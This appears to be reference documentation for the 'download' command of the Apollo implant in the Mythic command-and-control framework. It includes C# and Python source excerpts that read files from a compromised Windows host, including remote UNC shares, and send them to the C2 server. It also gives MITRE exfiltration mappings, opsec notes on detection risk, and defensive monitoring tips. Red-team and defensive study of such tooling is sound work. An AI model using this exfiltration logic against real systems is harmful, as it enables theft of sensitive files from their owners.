download

​

Summary

• Needs Admin: False
• Version: 3
• Author: @djhohnstein

​

Arguments

• path (String) - Path to the file to download
  • CLI Name: path
  • Display Name: Path to file to download
  • Description: File to download
  • Required: True

​

Usage

​

Example 1: Basic Local File Download

download -Path C:\Users\user\Downloads\test.txt
download C:\Users\user\Downloads\test.txt

[File downloaded successfully - file_id: abc123def456]

​

Example 2: UNC Path Download

download -Path \\server\share\document.pdf

[File downloaded successfully - file_id: def789ghi012]

​

Example 3: Download with Localhost Alias

download -Path \\127.0.0.1\c$\temp\file.txt
download -Path \\localhost\c$\temp\file.txt

[File downloaded successfully - file_id: ghi345jkl678]

​

Example 4: File Not Found Error

download -Path C:\nonexistent\file.txt

Error: File 'C:\nonexistent\file.txt' does not exist.

​

Example 5: File Browser Integration

From file browser: Actions -> Task a Download

[File downloaded via browser interface - file_id: jkl901mno234]

​

Detailed Summary

​

1. Parameter Processing and Path Handling

[DataContract]
internal struct DownloadParameters
{
    [DataMember(Name = "file")]
    public string FileName;
    [DataMember(Name = "host")]
    public string Hostname;
}

• File Name: The target file path to download
• Hostname: Optional hostname for remote file access
• Path Normalization: Converts various path formats to standardized UNC paths
• Localhost Resolution: Resolves localhost aliases to actual computer names

​

2. UNC Path Processing and Resolution

async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
    path = taskData.args.get_arg("path")
    
    if uncmatch := re.match(r"^\\\\(?P<host>[^\\]+)\\(?P<path>.*)$", path):
        taskData.args.add_arg("host", uncmatch.group("host"))
        taskData.args.set_arg("path", uncmatch.group("path"))
    else:
        taskData.args.add_arg("host", "")
        
    if host := taskData.args.get_arg("host"):
        host = host.upper()
        if host == "127.0.0.1" or host.lower() == "localhost":
            host = taskData.Callback.Host
        taskData.args.set_arg("host", host)

• Regex Parsing: Uses regex to extract hostname and path from UNC paths
• Hostname Extraction: Separates hostname from file path in UNC format
• Localhost Resolution: Converts localhost/127.0.0.1 to actual callback host
• Case Normalization: Converts hostnames to uppercase for consistency

​

3. File Browser Integration

async def parse_dictionary(self, dictionary_arguments):
    if "host" in dictionary_arguments:
        if "full_path" in dictionary_arguments:
            self.add_arg("path", f'\\\\{dictionary_arguments["host"]}\\{dictionary_arguments["full_path"]}')
        elif "path" in dictionary_arguments:
            self.add_arg("path", f'\\\\{dictionary_arguments["host"]}\\{dictionary_arguments["path"]}')
        elif "file" in dictionary_arguments:
            self.add_arg("path", f'\\\\{dictionary_arguments["host"]}\\{dictionary_arguments["file"]}')

• Multiple Path Formats: Supports full_path, path, and file parameters from browser
• UNC Construction: Automatically constructs UNC paths for remote files
• Default Handling: Provides default path handling for browser invocations
• Parameter Flexibility: Handles various parameter naming conventions

​

4. Core File Reading and Transfer Logic

public override void Start()
{
    DownloadParameters parameters = _jsonSerializer.Deserialize<DownloadParameters>(_data.Parameters);
    string host = parameters.Hostname;
    
    if (string.IsNullOrEmpty(parameters.Hostname) && !File.Exists(parameters.FileName))
    {
        resp = CreateTaskResponse($"File '{parameters.FileName}' does not exist.", true, "error");
    }
    else
    {
        // Path resolution and file reading logic
        byte[] fileBytes = File.ReadAllBytes(path);
        
        if (_agent.GetFileManager().PutFile(_cancellationToken.Token, _data.ID, fileBytes,
                parameters.FileName, out string mythicFileId, false, host))
        {
            resp = CreateTaskResponse(mythicFileId, true, "completed", artifacts);
        }
    }
}

• File Existence Check: Validates file exists before attempting read
• Complete File Read: Uses File.ReadAllBytes() to read entire file into memory
• File Manager Integration: Uses Apollo’s FileManager to transfer file to Mythic
• Mythic File ID: Returns Mythic’s file ID for downloaded file reference

​

5. Hostname Resolution and Localhost Handling

private static string[] localhostAliases = new string[]
{
    "localhost",
    "127.0.0.1",
    Environment.GetEnvironmentVariable("COMPUTERNAME").ToLower()
};

• Alias Detection: Recognizes various localhost aliases
• Computer Name: Uses actual computer name for localhost references
• Case Insensitive: Handles case variations in hostname aliases
• Environment Variable: Uses COMPUTERNAME environment variable for resolution

​

6. Current Working Directory UNC Path Handling

string cwd = System.IO.Directory.GetCurrentDirectory().ToString();
if (cwd.StartsWith("\\\\"))
{
    var hostPieces = cwd.Split('\\');
    if (hostPieces.Length > 2)
    {
        host = hostPieces[2];
        path = $@"\\{hostPieces[2]}\{parameters.FileName}";
    }
    else
    {
        resp = CreateTaskResponse($"invalid UNC path for CWD: {cwd}. Can't determine host. Please use explicit UNC path", true, "error");
    }
}

• UNC Detection: Detects when current working directory is a UNC path
• Host Extraction: Extracts hostname from UNC working directory
• Path Construction: Builds proper UNC path for file access
• Error Handling: Provides specific error messages for invalid UNC paths

​

7. Artifact Generation and Audit Trail

IMythicMessage[] artifacts = new IMythicMessage[1]
{
    new Artifact
    {
        BaseArtifact = "FileOpen",
        ArtifactDetails = path
    }
};

• File Open Artifact: Records file access with complete path
• Audit Trail: Provides forensic evidence of file access
• Timeline Integration: Links file access to specific task execution
• Path Recording: Records the actual path used for file access

​

8. File Manager Integration and Transfer

if (_agent.GetFileManager().PutFile(_cancellationToken.Token, _data.ID, fileBytes,
        parameters.FileName, out string mythicFileId, false, host))
{
    resp = CreateTaskResponse(mythicFileId, true, "completed", artifacts);
}

• Secure Transfer: Uses Apollo’s secure file transfer mechanisms
• Cancellation Support: Respects cancellation tokens for operation termination
• File ID Assignment: Receives Mythic file ID for tracking and reference
• Host Association: Associates file with specific host for organization
• Transfer Validation: Confirms successful transfer before completing task

​

9. Browser Script Integration and UI Features

function(task, responses){
    if(responses.length > 0){
        try{
            const task_data = JSON.parse(responses[0]);
            return { "media": [{
                "filename": `${task.display_params}`,
                "agent_file_id": task_data["file_id"],
            }]};
        }catch(error){
            const combined = responses.reduce( (prev, cur) => {
                return prev + cur;
            }, "");
            return {'plaintext': combined};
        }
    }
}

• Media Display: Presents downloaded files as downloadable media in UI
• File ID Integration: Links browser display to Mythic file management
• Error Handling: Gracefully handles JSON parsing errors
• Response Aggregation: Combines multiple response chunks for display

​

10. Error Handling and Exception Management

• File Not Found: Reports when target file doesn’t exist
• Access Denied: Handles permission errors for file access
• Invalid UNC Paths: Provides specific errors for malformed UNC paths
• Transfer Failures: Reports file transfer failures to Mythic
• General Exceptions: Catches and reports unexpected errors with stack traces

• File not found: "File '{filename}' does not exist."
• Transfer failure: "Download of {path} failed or aborted."
• UNC error: "invalid UNC path for CWD: {cwd}. Can't determine host. Please use explicit UNC path"

​

MITRE ATT&CK Mapping

• T1020 - Automated Exfiltration
• T1030 - Data Transfer Size Limits
• T1041 - Exfiltration Over C2 Channel

​

Technical Deep Dive

​

File Transfer Architecture

​

Memory-Based Transfer

byte[] fileBytes = File.ReadAllBytes(path);

• Complete Read: Entire file is read into memory at once
• Memory Constraints: Limited by available system memory
• Performance: Optimized for complete file transfer without streaming
• Security: File data remains in managed memory during transfer

​

Apollo File Manager Integration

• Secure Transport: Uses Apollo’s secure communication channels
• File Tracking: Assigns unique Mythic file IDs for tracking
• Host Association: Links files to specific hosts for organization
• Transfer Validation: Confirms successful upload to Mythic server

​

Path Resolution Algorithm

​

UNC Path Parsing

• Host Component: First component after \\ in UNC path
• Path Component: Remaining path after hostname
• Validation: Ensures proper UNC path format

​

Localhost Resolution Strategy

1. Explicit Aliases: Matches “localhost” and “127.0.0.1”
2. Computer Name: Uses COMPUTERNAME environment variable
3. Callback Host: Uses Mythic callback host information for remote resolution

​

Working Directory Context

• Detection: Identifies when CWD is a UNC path
• Host Extraction: Parses hostname from UNC CWD
• Path Construction: Builds appropriate file paths within UNC context

​

Browser Integration Architecture

​

File Browser Support

• Context Menu: Right-click download option in file browser
• Action Integration: Seamless integration with file browser actions
• Path Propagation: Automatic path parameter population

​

Dictionary Parameter Parsing

• full_path: Complete file path from browser
• path: Relative or absolute path
• file: Filename with implicit path context
• host: Remote host specification

​

JavaScript Browser Script

​

Media Presentation

• Filename Display: Shows original filename in UI
• Download Link: Provides direct download link from Mythic
• File ID Tracking: Links to Mythic’s file management system

​

Error Handling

• JSON Parsing Errors: Falls back to plaintext display
• Empty Responses: Shows appropriate waiting message
• Multiple Responses: Aggregates response content

​

APIs Used and Their Purposes

​

Security Considerations

​

File Access Permissions

1. Windows ACLs: Respects file system access control lists
2. User Context: Limited by Apollo agent’s privilege level
3. Network Access: UNC paths require appropriate network credentials
4. Share Permissions: Network shares enforce their own permission models

​

Data Exfiltration Implications

1. Sensitive Data: Can exfiltrate any readable file from target system
2. Audit Trail: Generates file access artifacts for forensic tracking
3. Network Traffic: File transfers generate network traffic to Mythic server
4. Detection Risk: Large file transfers may trigger data loss prevention systems

​

Operational Security

1. File Size Limits: Large files may impact network performance and detection
2. Access Patterns: Multiple file downloads may indicate data exfiltration
3. Timing Considerations: File access timing may correlate with other activities
4. Memory Usage: Large files consume significant memory during transfer

​

Defensive Considerations

1. File System Monitoring: Monitor for unusual file access patterns
2. Network Monitoring: Watch for large data transfers to external systems
3. Access Logging: Enable file access auditing for sensitive directories
4. DLP Systems: Deploy data loss prevention for sensitive file types

​

Limitations

1. Memory Constraints: Files must fit entirely in memory during transfer
2. File Size Limits: Practical limits based on available memory and network capacity
3. Permission Requirements: Cannot download files without read permissions
4. Network Dependencies: UNC paths require network connectivity and credentials
5. Synchronous Operation: Blocks agent during file reading and transfer
6. No Resume Capability: Cannot resume interrupted downloads
7. Binary Compatibility: All file types supported but no special handling for specific formats
8. No Compression: Files transferred without compression (handled by C2 channel)

​

Troubleshooting

​

Common Issues and Solutions

​

Debugging Steps

1. Verify File Existence: Use ls to confirm file exists and is accessible
2. Check Permissions: Verify read access to the target file
3. Test Network Paths: For UNC paths, verify network connectivity and credentials
4. Monitor Memory Usage: Watch system memory during large file transfers
5. Review File Locks: Check if file is locked by other processes

​

Best Practices

1. Path Verification: Always verify file paths before attempting download
2. Size Awareness: Be mindful of file sizes and system memory constraints
3. Permission Planning: Ensure appropriate permissions before attempting access
4. Network Considerations: Test network connectivity for remote files
5. Operational Security: Consider detection implications of file access patterns

​

References

• .NET File.ReadAllBytes Method
• UNC Path Format
• Windows File System Security
• Data Exfiltration Techniques
• Apollo Agent Source Code